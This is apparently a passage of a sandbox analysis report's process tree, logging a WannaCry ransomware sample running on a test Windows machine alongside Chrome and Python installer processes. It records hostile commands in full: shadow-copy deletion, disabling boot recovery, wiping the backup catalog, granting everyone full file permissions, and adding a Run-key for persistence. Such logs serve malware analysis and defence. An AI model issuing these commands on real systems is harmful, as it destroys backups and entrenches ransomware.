  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2224 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:1
  2⤵
  PID:1520
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1016 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:2
  2⤵
  PID:344
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2904 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:1
  2⤵
  PID:1756
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=1436 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:1088
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3140 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:1436
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3580 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:2524
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=3772 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:1
  2⤵
  PID:1152
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:2896
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=2328 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:1
  2⤵
  PID:2564
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=2804 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:1
  2⤵
  PID:2540
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=2324 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:1
  2⤵
  PID:880
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=2572 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:1580
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=2212 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:1844
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4168 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:2564
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=2216 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:1712
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4208 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:748
- C:\Users\Admin\Downloads\python-3.13.0-amd64.exe
  "C:\Users\Admin\Downloads\python-3.13.0-amd64.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2188
- - C:\Windows\Temp\{D1FDC4E9-9C46-4A78-8300-1DBA4BC97FC1}\.cr\python-3.13.0-amd64.exe
    "C:\Windows\Temp\{D1FDC4E9-9C46-4A78-8300-1DBA4BC97FC1}\.cr\python-3.13.0-amd64.exe" -burn.clean.room="C:\Users\Admin\Downloads\python-3.13.0-amd64.exe" -burn.filehandle.attached=180 -burn.filehandle.self=188
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1884
  - - C:\Windows\SysWOW64\notepad.exe
      "C:\Windows\System32\notepad.exe" C:\Users\Admin\AppData\Local\Temp\Python 3.13.0 (64-bit)_20241014195109.log
      4⤵
      System Location Discovery: System Language Discovery
      PID:1356
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4384 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:1592
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3508 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:1608
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4340 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:1620
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=2596 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:1596
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=2672 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:2532
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2588 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:904
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=2952 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:1244
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=1852 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:2928
- C:\Users\Admin\Downloads\python-3.13.0-amd64 (2).exe
  "C:\Users\Admin\Downloads\python-3.13.0-amd64 (2).exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1720
- - C:\Windows\Temp\{A3D14972-50F2-4130-AA8A-1A38A59C151D}\.cr\python-3.13.0-amd64 (2).exe
    "C:\Windows\Temp\{A3D14972-50F2-4130-AA8A-1A38A59C151D}\.cr\python-3.13.0-amd64 (2).exe" -burn.clean.room="C:\Users\Admin\Downloads\python-3.13.0-amd64 (2).exe" -burn.filehandle.attached=180 -burn.filehandle.self=188
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:3064
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --mojo-platform-channel-handle=1352 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:1
  2⤵
  PID:1976
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --mojo-platform-channel-handle=2596 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:1
  2⤵
  PID:1548
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4384 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:1800
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4428 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:2384
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --mojo-platform-channel-handle=4500 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:1
  2⤵
  PID:2400
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --mojo-platform-channel-handle=2388 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:1
  2⤵
  PID:2436
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4188 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:1568
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4664 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:2584

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:2812

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SendNotifyMessage
PID:2564

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x504
1⤵
PID:2008

C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
1⤵
- Drops startup file
- Loads dropped DLL
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
PID:2184
- C:\Windows\SysWOW64\attrib.exe
  attrib +h .
  2⤵
  - System Location Discovery: System Language Discovery
  - Views/modifies file attributes
  PID:2596
- C:\Windows\SysWOW64\icacls.exe
  icacls . /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  - System Location Discovery: System Language Discovery
  PID:1488
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:1672
- C:\Windows\SysWOW64\cmd.exe
  cmd /c 251541728935588.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2212
- - C:\Windows\SysWOW64\cscript.exe
    cscript.exe //nologo m.vbs
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2584
- C:\Windows\SysWOW64\attrib.exe
  attrib +h +s F:\$RECYCLE
  2⤵
  - System Location Discovery: System Language Discovery
  - Views/modifies file attributes
  PID:2288
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  @[email protected] co
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:2608
- - C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe
    TaskData\Tor\taskhsvc.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:2420
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c start /b @[email protected] vs
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2440
- - C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
    @[email protected] vs
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:976
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
      4⤵
      System Location Discovery: System Language Discovery
      PID:1532
    - - C:\Windows\SysWOW64\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        5⤵
        System Location Discovery: System Language Discovery
        Interacts with shadow copies
        
        PID:1328
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2556
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:1148
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  2⤵
  - Executes dropped EXE
  PID:876
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:1436
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "xzylnmtyo879" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\tasksche.exe\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1104
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "xzylnmtyo879" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\tasksche.exe\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2512
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:1528
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  2⤵
  - Executes dropped EXE
  PID:2052
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:2672
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:576
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  2⤵
  - Executes dropped EXE
  PID:1292
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:1920
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  2⤵
  - Executes dropped EXE
  PID:1672
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:2816
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:484
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  2⤵
  - Executes dropped EXE
  PID:3584
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:3788
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:3800
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  2⤵
  - Executes dropped EXE
  PID:3768
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:3932
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:3920
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  2⤵
  - Executes dropped EXE
  PID:4064
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4080
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:2160
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  2⤵
  - Executes dropped EXE
  PID:2188
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:2312
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:4072
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  2⤵
  PID:3504
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  @[email protected]
  2⤵
  PID:3172
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe
  taskdl.exe
  2⤵
  PID:3444
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  2⤵
  PID:2460
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  @[email protected]
  2⤵
  PID:2900
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe
  taskdl.exe
  2⤵
  PID:872
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  2⤵
  PID:2388
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  @[email protected]
  2⤵
  PID:3192
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe
  taskdl.exe
  2⤵
  PID:1852
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  2⤵
  PID:2892
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  @[email protected]
  2⤵
  PID:4364
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe
  taskdl.exe
  2⤵
  PID:4880
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  2⤵
  PID:3192
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  @[email protected]
  2⤵
  PID:4648
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe
  taskdl.exe
  2⤵
  PID:4588
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  2⤵
  PID:4612
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
  @[email protected]
  2⤵
  PID:4092
- C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe
  taskdl.exe
  2⤵
  PID:5932

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2204

C:\Users\Public\Desktop\@[email protected]
"C:\Users\Public\Desktop\@[email protected]"
1⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:2156

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SendNotifyMessage
PID:1144
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef84f9758,0x7fef84f9768,0x7fef84f9778
  2⤵
  PID:2492
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1148 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:2
  2⤵
  PID:1032
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1480 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:8
  2⤵
  PID:1820
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1580 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:8
  2⤵
  PID:1856
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2328 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:1
  2⤵
  PID:1240
- C:\Program Files\Google\Chrome\Application\chrome.exe
